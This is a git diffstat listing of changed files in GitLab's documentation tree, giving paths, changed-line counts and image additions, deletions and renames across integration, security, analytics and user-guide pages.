-rw-r--r--doc/integration/omniauth.md42
-rw-r--r--doc/integration/openid_connect_provider.md8
-rw-r--r--doc/integration/recaptcha.md8
-rw-r--r--doc/integration/salesforce.md14
-rw-r--r--doc/integration/saml.md6
-rw-r--r--doc/integration/shibboleth.md24
-rw-r--r--doc/integration/slack.md3
-rw-r--r--doc/integration/slash_commands.md14
-rw-r--r--doc/integration/sourcegraph.md8
-rw-r--r--doc/integration/trello_power_up.md16
-rw-r--r--doc/integration/twitter.md10
-rw-r--r--doc/integration/vault.md4
-rw-r--r--doc/intro/README.md2
-rw-r--r--doc/legal/README.md2
-rw-r--r--doc/legal/corporate_contributor_license_agreement.md2
-rw-r--r--doc/legal/individual_contributor_license_agreement.md2
-rw-r--r--doc/license/README.md3
-rw-r--r--doc/markdown/markdown.md3
-rw-r--r--doc/migrate_ci_to_ce/README.md40
-rw-r--r--doc/monitoring/health_check.md3
-rw-r--r--doc/monitoring/performance/gitlab_configuration.md3
-rw-r--r--doc/monitoring/performance/grafana_configuration.md3
-rw-r--r--doc/monitoring/performance/introduction.md3
-rw-r--r--doc/operations/cleaning_up_redis_sessions.md3
-rw-r--r--doc/operations/error_tracking.md12
-rw-r--r--doc/operations/feature_flags.md32
-rw-r--r--doc/operations/incident_management/alert_details.md3
-rw-r--r--doc/operations/incident_management/alert_integrations.md22
-rw-r--r--doc/operations/incident_management/alert_notifications.md2
-rw-r--r--doc/operations/incident_management/alerts.md18
-rw-r--r--doc/operations/incident_management/generic_alerts.md3
-rw-r--r--doc/operations/incident_management/img/incident_management_settings_v13_3.pngbin21262 -> 0 bytes
-rw-r--r--doc/operations/incident_management/incidents.md9
-rw-r--r--doc/operations/incident_management/index.md2
-rw-r--r--doc/operations/incident_management/integrations.md2
-rw-r--r--doc/operations/incident_management/status_page.md16
-rw-r--r--doc/operations/index.md4
-rw-r--r--doc/operations/metrics/alerts.md10
-rw-r--r--doc/operations/metrics/dashboards/default.md2
-rw-r--r--doc/operations/metrics/dashboards/develop.md2
-rw-r--r--doc/operations/metrics/dashboards/index.md12
-rw-r--r--doc/operations/metrics/dashboards/panel_types.md8
-rw-r--r--doc/operations/metrics/dashboards/settings.md2
-rw-r--r--doc/operations/metrics/dashboards/templating_variables.md28
-rw-r--r--doc/operations/metrics/dashboards/variables.md4
-rw-r--r--doc/operations/metrics/dashboards/yaml.md16
-rw-r--r--doc/operations/metrics/dashboards/yaml_number_format.md2
-rw-r--r--doc/operations/metrics/embed.md4
-rw-r--r--doc/operations/metrics/embed_grafana.md4
-rw-r--r--doc/operations/metrics/index.md4
-rw-r--r--doc/operations/moving_repositories.md3
-rw-r--r--doc/operations/product_analytics.md4
-rw-r--r--doc/operations/sidekiq_memory_killer.md3
-rw-r--r--doc/operations/tracing.md4
-rw-r--r--doc/operations/unicorn.md3
-rw-r--r--doc/permissions/permissions.md3
-rw-r--r--doc/policy/maintenance.md8
-rw-r--r--doc/public_access/public_access.md20
-rw-r--r--doc/push_rules/push_rules.md8
-rw-r--r--doc/raketasks/README.md3
-rw-r--r--doc/raketasks/backup_restore.md106
-rw-r--r--doc/raketasks/check.md3
-rw-r--r--doc/raketasks/cleanup.md18
-rw-r--r--doc/raketasks/features.md11
-rw-r--r--doc/raketasks/generate_sample_prometheus_data.md4
-rw-r--r--doc/raketasks/import.md16
-rw-r--r--doc/raketasks/list_repos.md2
-rw-r--r--doc/raketasks/maintenance.md3
-rw-r--r--doc/raketasks/migrate_snippets.md2
-rw-r--r--doc/raketasks/spdx.md2
-rw-r--r--doc/raketasks/user_management.md28
-rw-r--r--doc/raketasks/web_hooks.md2
-rw-r--r--doc/raketasks/x509_signatures.md2
-rw-r--r--doc/security/README.md2
-rw-r--r--doc/security/asset_proxy.md8
-rw-r--r--doc/security/cicd_environment_variables.md4
-rw-r--r--doc/security/crime_vulnerability.md2
-rw-r--r--doc/security/information_exclusivity.md2
-rw-r--r--doc/security/password_length_limits.md6
-rw-r--r--doc/security/password_storage.md2
-rw-r--r--doc/security/passwords_for_integrated_authentication_methods.md6
-rw-r--r--doc/security/project_import_decompressed_archive_size_limits.md2
-rw-r--r--doc/security/rack_attack.md22
-rw-r--r--doc/security/rate_limits.md4
-rw-r--r--doc/security/reset_user_password.md8
-rw-r--r--doc/security/ssh_keys_restrictions.md2
-rw-r--r--doc/security/two_factor_authentication.md46
-rw-r--r--doc/security/unlock_user.md2
-rw-r--r--doc/security/user_email_confirmation.md2
-rw-r--r--doc/security/user_file_uploads.md4
-rw-r--r--doc/security/webhooks.md16
-rw-r--r--doc/ssh/README.md32
-rw-r--r--doc/subscriptions/gitlab_com/index.md119
-rw-r--r--doc/subscriptions/index.md14
-rw-r--r--doc/subscriptions/self_managed/index.md83
-rw-r--r--doc/system_hooks/system_hooks.md6
-rw-r--r--doc/telemetry/index.md3
-rw-r--r--doc/telemetry/snowplow.md3
-rw-r--r--doc/tools/email.md14
-rw-r--r--doc/topics/application_development_platform/index.md8
-rw-r--r--doc/topics/authentication/index.md6
-rw-r--r--doc/topics/autodevops/customize.md120
-rw-r--r--doc/topics/autodevops/index.md42
-rw-r--r--doc/topics/autodevops/quick_start_guide.md36
-rw-r--r--doc/topics/autodevops/requirements.md48
-rw-r--r--doc/topics/autodevops/stages.md56
-rw-r--r--doc/topics/autodevops/upgrading_auto_deploy_dependencies.md16
-rw-r--r--doc/topics/autodevops/upgrading_chart.md3
-rw-r--r--doc/topics/autodevops/upgrading_postgresql.md22
-rw-r--r--doc/topics/cron/index.md2
-rw-r--r--doc/topics/git/feature_branch_development.md4
-rw-r--r--doc/topics/git/git_rebase.md8
-rw-r--r--doc/topics/git/how_to_install_git/index.md2
-rw-r--r--doc/topics/git/index.md2
-rw-r--r--doc/topics/git/lfs/index.md8
-rw-r--r--doc/topics/git/lfs/migrate_from_git_annex_to_git_lfs.md10
-rw-r--r--doc/topics/git/lfs/migrate_to_git_lfs.md21
-rw-r--r--doc/topics/git/migrate_to_git_lfs/index.md3
-rw-r--r--doc/topics/git/numerous_undo_possibilities_in_git/index.md8
-rw-r--r--doc/topics/git/partial_clone.md6
-rw-r--r--doc/topics/git/troubleshooting_git.md6
-rw-r--r--doc/topics/git/useful_git_commands.md2
-rw-r--r--doc/topics/gitlab_flow.md14
-rw-r--r--doc/topics/index.md6
-rw-r--r--doc/topics/offline/index.md8
-rw-r--r--doc/topics/offline/quick_start_guide.md14
-rw-r--r--doc/topics/web_application_firewall/index.md8
-rw-r--r--doc/topics/web_application_firewall/quick_start_guide.md48
-rw-r--r--doc/university/README.md12
-rw-r--r--doc/university/high-availability/aws/README.md3
-rw-r--r--doc/university/training/gitlab_flow.md2
-rw-r--r--doc/university/training/index.md2
-rw-r--r--doc/university/training/topics/agile_git.md2
-rw-r--r--doc/university/training/topics/bisect.md2
-rw-r--r--doc/university/training/topics/cherry_picking.md2
-rw-r--r--doc/university/training/topics/env_setup.md4
-rw-r--r--doc/university/training/topics/explore_gitlab.md3
-rw-r--r--doc/university/training/topics/feature_branching.md2
-rw-r--r--doc/university/training/topics/getting_started.md2
-rw-r--r--doc/university/training/topics/git_add.md2
-rw-r--r--doc/university/training/topics/git_intro.md2
-rw-r--r--doc/university/training/topics/git_log.md2
-rw-r--r--doc/university/training/topics/merge_conflicts.md4
-rw-r--r--doc/university/training/topics/merge_requests.md2
-rw-r--r--doc/university/training/topics/rollback_commits.md2
-rw-r--r--doc/university/training/topics/stash.md4
-rw-r--r--doc/university/training/topics/subtree.md2
-rw-r--r--doc/university/training/topics/tags.md4
-rw-r--r--doc/university/training/topics/unstage.md4
-rw-r--r--doc/university/training/user_training.md6
-rw-r--r--doc/update/README.md14
-rw-r--r--doc/update/mysql_to_postgresql.md26
-rw-r--r--doc/update/patch_versions.md2
-rw-r--r--doc/update/restore_after_failure.md6
-rw-r--r--doc/update/upgrading_from_ce_to_ee.md6
-rw-r--r--doc/update/upgrading_from_source.md44
-rw-r--r--doc/update/upgrading_postgresql_using_slony.md79
-rw-r--r--doc/user/abuse_reports.md10
-rw-r--r--doc/user/account/security.md3
-rw-r--r--doc/user/account/two_factor_authentication.md3
-rw-r--r--doc/user/admin_area/abuse_reports.md4
-rw-r--r--doc/user/admin_area/activating_deactivating_users.md8
-rw-r--r--doc/user/admin_area/analytics/convdev.md3
-rw-r--r--doc/user/admin_area/analytics/dev_ops_report.md60
-rw-r--r--doc/user/admin_area/analytics/img/dev_ops_adoption_v13_7.pngbin0 -> 49152 bytes
-rw-r--r--doc/user/admin_area/analytics/index.md2
-rw-r--r--doc/user/admin_area/analytics/instance_statistics.md5
-rw-r--r--doc/user/admin_area/analytics/usage_trends.md6
-rw-r--r--doc/user/admin_area/analytics/user_cohorts.md2
-rw-r--r--doc/user/admin_area/appearance.md18
-rw-r--r--doc/user/admin_area/approving_users.md2
-rw-r--r--doc/user/admin_area/blocking_unblocking_users.md6
-rw-r--r--doc/user/admin_area/broadcast_messages.md14
-rw-r--r--doc/user/admin_area/credentials_inventory.md2
-rw-r--r--doc/user/admin_area/custom_project_templates.md10
-rw-r--r--doc/user/admin_area/diff_limits.md6
-rw-r--r--doc/user/admin_area/geo_nodes.md4
-rw-r--r--doc/user/admin_area/index.md14
-rw-r--r--doc/user/admin_area/labels.md2
-rw-r--r--doc/user/admin_area/license.md10
-rw-r--r--doc/user/admin_area/merge_requests_approvals.md2
-rw-r--r--doc/user/admin_area/monitoring/dev_ops_report.md3
-rw-r--r--doc/user/admin_area/monitoring/health_check.md22
-rw-r--r--doc/user/admin_area/settings/account_and_limit_settings.md33
-rw-r--r--doc/user/admin_area/settings/continuous_integration.md8
-rw-r--r--doc/user/admin_area/settings/email.md11
-rw-r--r--doc/user/admin_area/settings/external_authorization.md55
-rw-r--r--doc/user/admin_area/settings/gitaly_timeouts.md2
-rw-r--r--doc/user/admin_area/settings/help_page.md6
-rw-r--r--doc/user/admin_area/settings/img/user_and_ip_rate_limits.pngbin64725 -> 36909 bytes
-rw-r--r--doc/user/admin_area/settings/import_export_rate_limits.md2
-rw-r--r--doc/user/admin_area/settings/index.md13
-rw-r--r--doc/user/admin_area/settings/instance_template_repository.md2
-rw-r--r--doc/user/admin_area/settings/project_integration_management.md6
-rw-r--r--doc/user/admin_area/settings/protected_paths.md2
-rw-r--r--doc/user/admin_area/settings/push_event_activities_limit.md2
-rw-r--r--doc/user/admin_area/settings/rate_limit_on_issues_creation.md2
-rw-r--r--doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md4
-rw-r--r--doc/user/admin_area/settings/sign_in_restrictions.md16
-rw-r--r--doc/user/admin_area/settings/sign_up_restrictions.md9
-rw-r--r--doc/user/admin_area/settings/terms.md18
-rw-r--r--doc/user/admin_area/settings/third_party_offers.md2
-rw-r--r--doc/user/admin_area/settings/usage_statistics.md14
-rw-r--r--doc/user/admin_area/settings/user_and_ip_rate_limits.md62
-rw-r--r--doc/user/admin_area/settings/visibility_and_access_controls.md12
-rw-r--r--doc/user/admin_area/user_cohorts.md3
-rw-r--r--doc/user/analytics/code_review_analytics.md8
-rw-r--r--doc/user/analytics/cycle_analytics.md3
-rw-r--r--doc/user/analytics/img/issues_created_per_month_v12_8.pngbin0 -> 26718 bytes
-rw-r--r--doc/user/analytics/img/issues_table_v13_1.pngbin0 -> 45232 bytes
-rw-r--r--doc/user/analytics/index.md4
-rw-r--r--doc/user/analytics/issue_analytics.md45
-rw-r--r--doc/user/analytics/merge_request_analytics.md39
-rw-r--r--doc/user/analytics/productivity_analytics.md4
-rw-r--r--doc/user/analytics/repository_analytics.md6
-rw-r--r--doc/user/analytics/value_stream_analytics.md299
-rw-r--r--doc/user/application_security/api_fuzzing/index.md118
-rw-r--r--doc/user/application_security/compliance_dashboard/index.md3
-rw-r--r--doc/user/application_security/configuration/index.md2
-rw-r--r--doc/user/application_security/container_scanning/index.md11
-rw-r--r--doc/user/application_security/coverage_fuzzing/index.md2
-rw-r--r--doc/user/application_security/cve_id_request.md6
-rw-r--r--doc/user/application_security/dast/index.md59
-rw-r--r--doc/user/application_security/dependency_list/index.md7
-rw-r--r--doc/user/application_security/dependency_scanning/analyzers.md2
-rw-r--r--doc/user/application_security/dependency_scanning/index.md31
-rw-r--r--doc/user/application_security/img/security_widget_v13_6.pngbin3229 -> 0 bytes
-rw-r--r--doc/user/application_security/img/security_widget_v13_7.pngbin0 -> 3276 bytes
-rw-r--r--doc/user/application_security/index.md61
-rw-r--r--doc/user/application_security/license_compliance/index.md3
-rw-r--r--doc/user/application_security/license_management/index.md3
-rw-r--r--doc/user/application_security/offline_deployments/index.md10
-rw-r--r--doc/user/application_security/sast/analyzers.md2
-rw-r--r--doc/user/application_security/sast/index.md70
-rw-r--r--doc/user/application_security/secret_detection/index.md86
-rw-r--r--doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_4.pngbin50648 -> 0 bytes
-rw-r--r--doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_7.pngbin0 -> 75819 bytes
-rw-r--r--doc/user/application_security/security_dashboard/img/vulnerability_details_create_issue_v13_7.pngbin0 -> 86032 bytes
-rw-r--r--doc/user/application_security/security_dashboard/img/vulnerability_page_v13_1.pngbin79341 -> 0 bytes
-rw-r--r--doc/user/application_security/security_dashboard/index.md16
-rw-r--r--doc/user/application_security/terminology/index.md22
-rw-r--r--doc/user/application_security/threat_monitoring/index.md4
-rw-r--r--doc/user/application_security/vulnerabilities/index.md10
-rw-r--r--doc/user/asciidoc.md41
-rw-r--r--doc/user/award_emojis.md6
-rw-r--r--doc/user/clusters/agent/index.md65
-rw-r--r--doc/user/clusters/agent/repository.md96
-rw-r--r--doc/user/clusters/applications.md1271
-rw-r--r--doc/user/clusters/cost_management.md8
-rw-r--r--doc/user/clusters/crossplane.md2
-rw-r--r--doc/user/clusters/environments.md2
-rw-r--r--doc/user/clusters/management_project.md14
-rw-r--r--doc/user/compliance/compliance_dashboard/index.md6
-rw-r--r--doc/user/compliance/index.md2
-rw-r--r--doc/user/compliance/license_compliance/index.md103
-rw-r--r--doc/user/discussions/index.md16
-rw-r--r--doc/user/feature_flags.md2
-rw-r--r--doc/user/feature_highlight.md4
-rw-r--r--doc/user/gitlab_com/index.md139
-rw-r--r--doc/user/group/bulk_editing/index.md12
-rw-r--r--doc/user/group/clusters/index.md8
-rw-r--r--doc/user/group/contribution_analytics/index.md4
-rw-r--r--doc/user/group/custom_project_templates.md10
-rw-r--r--doc/user/group/dependency_proxy/index.md3
-rw-r--r--doc/user/group/epics/img/new_epic_form_v13.2.pngbin50977 -> 0 bytes
-rw-r--r--doc/user/group/epics/img/new_epic_from_groups_v13.2.pngbin39158 -> 0 bytes
-rw-r--r--doc/user/group/epics/img/new_epic_from_groups_v13.7.pngbin0 -> 10505 bytes
-rw-r--r--doc/user/group/epics/index.md63
-rw-r--r--doc/user/group/epics/manage_epics.md64
-rw-r--r--doc/user/group/img/add_new_members_v13_6.pngbin43257 -> 0 bytes
-rw-r--r--doc/user/group/img/add_new_members_v13_7.pngbin0 -> 58897 bytes
-rw-r--r--doc/user/group/img/group_code_coverage_analytics_v13_7.pngbin0 -> 21846 bytes
-rw-r--r--doc/user/group/img/group_members_filter_2fa_disabled_13_7.pngbin0 -> 39226 bytes
-rw-r--r--doc/user/group/img/group_members_filter_2fa_enabled_13_7.pngbin0 -> 41497 bytes
-rw-r--r--doc/user/group/img/group_members_filter_direct_13_7.pngbin0 -> 40549 bytes
-rw-r--r--doc/user/group/img/group_members_filter_inherited_13_7.pngbin0 -> 43436 bytes
-rw-r--r--doc/user/group/img/group_members_search_13_7.pngbin0 -> 28622 bytes
-rw-r--r--doc/user/group/img/group_members_sort_13_7.pngbin0 -> 41897 bytes
-rw-r--r--doc/user/group/img/group_storage_usage_quota.pngbin28896 -> 0 bytes
-rw-r--r--doc/user/group/img/manual_permissions_v13_6.pngbin70840 -> 0 bytes
-rw-r--r--doc/user/group/img/manual_permissions_v13_7.pngbin0 -> 69289 bytes
-rw-r--r--doc/user/group/index.md127
-rw-r--r--doc/user/group/insights/index.md6
-rw-r--r--doc/user/group/issues_analytics/index.md7
-rw-r--r--doc/user/group/iterations/index.md41
-rw-r--r--doc/user/group/repositories_analytics/index.md11
-rw-r--r--doc/user/group/roadmap/index.md2
-rw-r--r--doc/user/group/saml_sso/group_managed_accounts.md4
-rw-r--r--doc/user/group/saml_sso/img/saml_group_links_nav_v13_6.pngbin0 -> 7492 bytes
-rw-r--r--doc/user/group/saml_sso/img/saml_group_links_v13_6.pngbin0 -> 9138 bytes
-rw-r--r--doc/user/group/saml_sso/index.md133
-rw-r--r--doc/user/group/saml_sso/scim_setup.md31
-rw-r--r--doc/user/group/security_dashboard/index.md3
-rw-r--r--doc/user/group/settings/import_export.md16
-rw-r--r--doc/user/group/subgroups/img/group_members.pngbin18009 -> 0 bytes
-rw-r--r--doc/user/group/subgroups/img/group_members_13_7.pngbin0 -> 59689 bytes
-rw-r--r--doc/user/group/subgroups/index.md44
-rw-r--r--doc/user/group/value_stream_analytics/img/delete_value_stream_v13.4.png (renamed from doc/user/analytics/img/delete_value_stream_v13.4.png)bin29439 -> 29439 bytes
-rw-r--r--doc/user/group/value_stream_analytics/img/label_based_stage_vsm_v12_9.png (renamed from doc/user/analytics/img/label_based_stage_vsm_v12_9.png)bin10989 -> 10989 bytes
-rw-r--r--doc/user/group/value_stream_analytics/img/new_value_stream_v13_3.png (renamed from doc/user/analytics/img/new_value_stream_v13_3.png)bin31215 -> 31215 bytes
-rw-r--r--doc/user/group/value_stream_analytics/img/new_vsm_stage_v12_9.png (renamed from doc/user/analytics/img/new_vsm_stage_v12_9.png)bin15154 -> 15154 bytes
-rw-r--r--doc/user/group/value_stream_analytics/img/vsa_filter_bar_v13.3.png (renamed from doc/user/analytics/img/vsa_filter_bar_v13.3.png)bin33694 -> 33694 bytes
-rw-r--r--doc/user/group/value_stream_analytics/img/vsa_time_metrics_v13_0.png (renamed from doc/user/analytics/img/vsa_time_metrics_v13_0.png)bin70839 -> 70839 bytes
-rw-r--r--doc/user/group/value_stream_analytics/img/vsm_stage_list_v12_9.png (renamed from doc/user/analytics/img/vsm_stage_list_v12_9.png)bin10977 -> 10977 bytes
-rw-r--r--doc/user/group/value_stream_analytics/index.md375
-rw-r--r--doc/user/incident_management/index.md3
-rw-r--r--doc/user/index.md8
-rw-r--r--doc/user/infrastructure/index.md10
-rw-r--r--doc/user/infrastructure/mr_integration.md6
-rw-r--r--doc/user/infrastructure/terraform_state.md8
-rw-r--r--doc/user/instance/clusters/index.md4
-rw-r--r--doc/user/markdown.md62
-rw-r--r--doc/user/operations_dashboard/index.md8
-rw-r--r--doc/user/packages/composer_repository/index.md19
-rw-r--r--doc/user/packages/conan_repository/index.md18
-rw-r--r--doc/user/packages/container_registry/index.md45
-rw-r--r--doc/user/packages/dependency_proxy/index.md214
-rw-r--r--doc/user/packages/generic_packages/index.md14
-rw-r--r--doc/user/packages/go_proxy/index.md6
-rw-r--r--doc/user/packages/index.md6
-rw-r--r--doc/user/packages/maven_repository/index.md16
-rw-r--r--doc/user/packages/npm_registry/index.md26
-rw-r--r--doc/user/packages/nuget_repository/index.md8
-rw-r--r--doc/user/packages/package_registry/index.md12
-rw-r--r--doc/user/packages/pypi_repository/index.md6
-rw-r--r--doc/user/packages/workflows/monorepo.md121
-rw-r--r--doc/user/packages/workflows/project_registry.md120
-rw-r--r--doc/user/permissions.md47
-rw-r--r--doc/user/profile/account/create_accounts.md2
-rw-r--r--doc/user/profile/account/delete_account.md6
-rw-r--r--doc/user/profile/account/index.md3
-rw-r--r--doc/user/profile/account/two_factor_authentication.md158
-rw-r--r--doc/user/profile/active_sessions.md6
-rw-r--r--doc/user/profile/index.md14
-rw-r--r--doc/user/profile/notifications.md34
-rw-r--r--doc/user/profile/personal_access_tokens.md6
-rw-r--r--doc/user/profile/preferences.md22
-rw-r--r--doc/user/profile/unknown_sign_in_notification.md4
-rw-r--r--doc/user/project/autocomplete_characters.md2
-rw-r--r--doc/user/project/badges.md4
-rw-r--r--doc/user/project/builds/artifacts.md3
-rw-r--r--doc/user/project/bulk_editing.md10
-rw-r--r--doc/user/project/canary_deployments.md35
-rw-r--r--doc/user/project/ci_cd_for_external_repo.md3
-rw-r--r--doc/user/project/clusters/add_eks_clusters.md39
-rw-r--r--doc/user/project/clusters/add_gke_clusters.md16
-rw-r--r--doc/user/project/clusters/add_remove_clusters.md14
-rw-r--r--doc/user/project/clusters/eks_and_gitlab/index.md3
-rw-r--r--doc/user/project/clusters/index.md94
-rw-r--r--doc/user/project/clusters/kubernetes_pod_logs.md2
-rw-r--r--doc/user/project/clusters/runbooks/index.md14
-rw-r--r--doc/user/project/clusters/securing.md4
-rw-r--r--doc/user/project/clusters/serverless/aws.md38
-rw-r--r--doc/user/project/clusters/serverless/index.md71
-rw-r--r--doc/user/project/code_intelligence.md2
-rw-r--r--doc/user/project/code_owners.md4
-rw-r--r--doc/user/project/container_registry.md3
-rw-r--r--doc/user/project/cycle_analytics.md3
-rw-r--r--doc/user/project/deploy_boards.md17
-rw-r--r--doc/user/project/deploy_keys/index.md12
-rw-r--r--doc/user/project/deploy_tokens/img/deploy_tokens.pngbin49460 -> 0 bytes
-rw-r--r--doc/user/project/deploy_tokens/img/deploy_tokens_ui.pngbin0 -> 101571 bytes
-rw-r--r--doc/user/project/deploy_tokens/index.md17
-rw-r--r--doc/user/project/description_templates.md24
-rw-r--r--doc/user/project/file_lock.md6
-rw-r--r--doc/user/project/git_attributes.md2
-rw-r--r--doc/user/project/gpg_signed_commits/index.md3
-rw-r--r--doc/user/project/highlighting.md8
-rw-r--r--doc/user/project/img/canary_weight.pngbin0 -> 52101 bytes
-rw-r--r--doc/user/project/img/issue_board_default_lists_v13_4.pngbin14866 -> 0 bytes
-rw-r--r--doc/user/project/img/issue_boards_add_issues_modal_v13_6.pngbin10189 -> 0 bytes
-rw-r--r--doc/user/project/img/protected_branches_deploy_keys_v13_5.pngbin0 -> 46325 bytes
-rw-r--r--doc/user/project/img/rollout_status_canary_ingress.pngbin35617 -> 0 bytes
-rw-r--r--doc/user/project/img/service_desk_issue_tracker.pngbin60824 -> 26096 bytes
-rw-r--r--doc/user/project/import/bitbucket.md8
-rw-r--r--doc/user/project/import/bitbucket_server.md6
-rw-r--r--doc/user/project/import/clearcase.md4
-rw-r--r--doc/user/project/import/cvs.md5
-rw-r--r--doc/user/project/import/fogbugz.md2
-rw-r--r--doc/user/project/import/gemnasium.md14
-rw-r--r--doc/user/project/import/gitea.md6
-rw-r--r--doc/user/project/import/github.md24
-rw-r--r--doc/user/project/import/gitlab_com.md4
-rw-r--r--doc/user/project/import/img/gemnasium/connect_github.pngbin20802 -> 0 bytes
-rw-r--r--doc/user/project/import/img/gemnasium/connect_github_v13_5.pngbin0 -> 37609 bytes
-rw-r--r--doc/user/project/import/img/gemnasium/create_project.pngbin33653 -> 0 bytes
-rw-r--r--doc/user/project/import/img/gemnasium/create_project_v13_5.pngbin0 -> 44446 bytes
-rw-r--r--doc/user/project/import/img/gemnasium/select_project.pngbin8927 -> 0 bytes
-rw-r--r--doc/user/project/import/img/gemnasium/select_project_v13_5.pngbin0 -> 23060 bytes
-rw-r--r--doc/user/project/import/index.md8
-rw-r--r--doc/user/project/import/jira.md10
-rw-r--r--doc/user/project/import/manifest.md2
-rw-r--r--doc/user/project/import/perforce.md4
-rw-r--r--doc/user/project/import/phabricator.md9
-rw-r--r--doc/user/project/import/repo_by_url.md2
-rw-r--r--doc/user/project/import/svn.md2
-rw-r--r--doc/user/project/import/tfs.md3
-rw-r--r--doc/user/project/import/tfvc.md4
-rw-r--r--doc/user/project/index.md21
-rw-r--r--doc/user/project/insights/index.md55
-rw-r--r--doc/user/project/integrations/bamboo.md10
-rw-r--r--doc/user/project/integrations/bugzilla.md6
-rw-r--r--doc/user/project/integrations/custom_issue_tracker.md8
-rw-r--r--doc/user/project/integrations/discord_notifications.md6
-rw-r--r--doc/user/project/integrations/emails_on_push.md8
-rw-r--r--doc/user/project/integrations/ewm.md8
-rw-r--r--doc/user/project/integrations/generic_alerts.md3
-rw-r--r--doc/user/project/integrations/github.md9
-rw-r--r--doc/user/project/integrations/gitlab_slack_application.md11
-rw-r--r--doc/user/project/integrations/hangouts_chat.md6
-rw-r--r--doc/user/project/integrations/hipchat.md4
-rw-r--r--doc/user/project/integrations/img/microsoft_teams_select_incoming_webhook.pngbin0 -> 11129 bytes
-rw-r--r--doc/user/project/integrations/index.md10
-rw-r--r--doc/user/project/integrations/irker.md18
-rw-r--r--doc/user/project/integrations/jira.md51
-rw-r--r--doc/user/project/integrations/jira_cloud_configuration.md4
-rw-r--r--doc/user/project/integrations/jira_integrations.md6
-rw-r--r--doc/user/project/integrations/jira_server_configuration.md26
-rw-r--r--doc/user/project/integrations/kubernetes.md3
-rw-r--r--doc/user/project/integrations/mattermost.md14
-rw-r--r--doc/user/project/integrations/mattermost_slash_commands.md29
-rw-r--r--doc/user/project/integrations/microsoft_teams.md20
-rw-r--r--doc/user/project/integrations/mock_ci.md2
-rw-r--r--doc/user/project/integrations/overview.md6
-rw-r--r--doc/user/project/integrations/project_services.md3
-rw-r--r--doc/user/project/integrations/prometheus.md23
-rw-r--r--doc/user/project/integrations/prometheus_library/cloudwatch.md4
-rw-r--r--doc/user/project/integrations/prometheus_library/haproxy.md4
-rw-r--r--doc/user/project/integrations/prometheus_library/index.md6
-rw-r--r--doc/user/project/integrations/prometheus_library/kubernetes.md2
-rw-r--r--doc/user/project/integrations/prometheus_library/metrics.md3
-rw-r--r--doc/user/project/integrations/prometheus_library/nginx.md8
-rw-r--r--doc/user/project/integrations/prometheus_library/nginx_ingress.md16
-rw-r--r--doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md16
-rw-r--r--doc/user/project/integrations/prometheus_units.md3
-rw-r--r--doc/user/project/integrations/redmine.md8
-rw-r--r--doc/user/project/integrations/servicenow.md2
-rw-r--r--doc/user/project/integrations/services_templates.md9
-rw-r--r--doc/user/project/integrations/slack.md14
-rw-r--r--doc/user/project/integrations/slack_slash_commands.md4
-rw-r--r--doc/user/project/integrations/unify_circuit.md7
-rw-r--r--doc/user/project/integrations/webex_teams.md4
-rw-r--r--doc/user/project/integrations/webhooks.md137
-rw-r--r--doc/user/project/integrations/youtrack.md12
-rw-r--r--doc/user/project/issue_board.md147
-rw-r--r--doc/user/project/issues/associate_zoom_meeting.md24
-rw-r--r--doc/user/project/issues/automatic_issue_closing.md3
-rw-r--r--doc/user/project/issues/closing_issues.md3
-rw-r--r--doc/user/project/issues/confidential_issues.md6
-rw-r--r--doc/user/project/issues/create_new_issue.md3
-rw-r--r--doc/user/project/issues/crosslinking_issues.md4
-rw-r--r--doc/user/project/issues/csv_export.md10
-rw-r--r--doc/user/project/issues/csv_import.md6
-rw-r--r--doc/user/project/issues/deleting_issues.md3
-rw-r--r--doc/user/project/issues/design_management.md8
-rw-r--r--doc/user/project/issues/due_dates.md2
-rw-r--r--doc/user/project/issues/index.md19
-rw-r--r--doc/user/project/issues/issue_data_and_actions.md103
-rw-r--r--doc/user/project/issues/issue_weight.md6
-rw-r--r--doc/user/project/issues/managing_issues.md12
-rw-r--r--doc/user/project/issues/moving_issues.md3
-rw-r--r--doc/user/project/issues/multiple_assignees_for_issues.md2
-rw-r--r--doc/user/project/issues/related_issues.md4
-rw-r--r--doc/user/project/issues/similar_issues.md3
-rw-r--r--doc/user/project/issues/sorting_issue_lists.md43
-rw-r--r--doc/user/project/labels.md6
-rw-r--r--doc/user/project/maven_packages.md3
-rw-r--r--doc/user/project/members/img/other_group_sees_shared_project.pngbin21154 -> 0 bytes
-rw-r--r--doc/user/project/members/img/other_group_sees_shared_project_v13_6.pngbin0 -> 291848 bytes
-rw-r--r--doc/user/project/members/img/share_project_with_groups.pngbin37405 -> 0 bytes
-rw-r--r--doc/user/project/members/img/share_project_with_groups_tab.pngbin36482 -> 0 bytes
-rw-r--r--doc/user/project/members/img/share_project_with_groups_tab_v13_6.pngbin0 -> 378257 bytes
-rw-r--r--doc/user/project/members/img/share_project_with_groups_v13_6.pngbin0 -> 395958 bytes
-rw-r--r--doc/user/project/members/index.md15
-rw-r--r--doc/user/project/members/share_project_with_groups.md25
-rw-r--r--doc/user/project/merge_requests.md3
-rw-r--r--doc/user/project/merge_requests/accessibility_testing.md8
-rw-r--r--doc/user/project/merge_requests/allow_collaboration.md2
-rw-r--r--doc/user/project/merge_requests/authorization_for_merge_requests.md2
-rw-r--r--doc/user/project/merge_requests/browser_performance_testing.md16
-rw-r--r--doc/user/project/merge_requests/cherry_pick_changes.md4
-rw-r--r--doc/user/project/merge_requests/code_quality.md41
-rw-r--r--doc/user/project/merge_requests/code_quality_diff.md3
-rw-r--r--doc/user/project/merge_requests/container_scanning.md3
-rw-r--r--doc/user/project/merge_requests/creating_merge_requests.md4
-rw-r--r--doc/user/project/merge_requests/csv_export.md4
-rw-r--r--doc/user/project/merge_requests/dast.md3
-rw-r--r--doc/user/project/merge_requests/dependency_scanning.md3
-rw-r--r--doc/user/project/merge_requests/fail_fast_testing.md2
-rw-r--r--doc/user/project/merge_requests/fast_forward_merge.md2
-rw-r--r--doc/user/project/merge_requests/getting_started.md31
-rw-r--r--doc/user/project/merge_requests/img/project_merge_requests_list_view.pngbin62639 -> 0 bytes
-rw-r--r--doc/user/project/merge_requests/img/project_merge_requests_list_view_v13_5.pngbin0 -> 87738 bytes
-rw-r--r--doc/user/project/merge_requests/index.md2
-rw-r--r--doc/user/project/merge_requests/license_management.md3
-rw-r--r--doc/user/project/merge_requests/load_performance_testing.md8
-rw-r--r--doc/user/project/merge_requests/maintainer_access.md3
-rw-r--r--doc/user/project/merge_requests/merge_request_approvals.md26
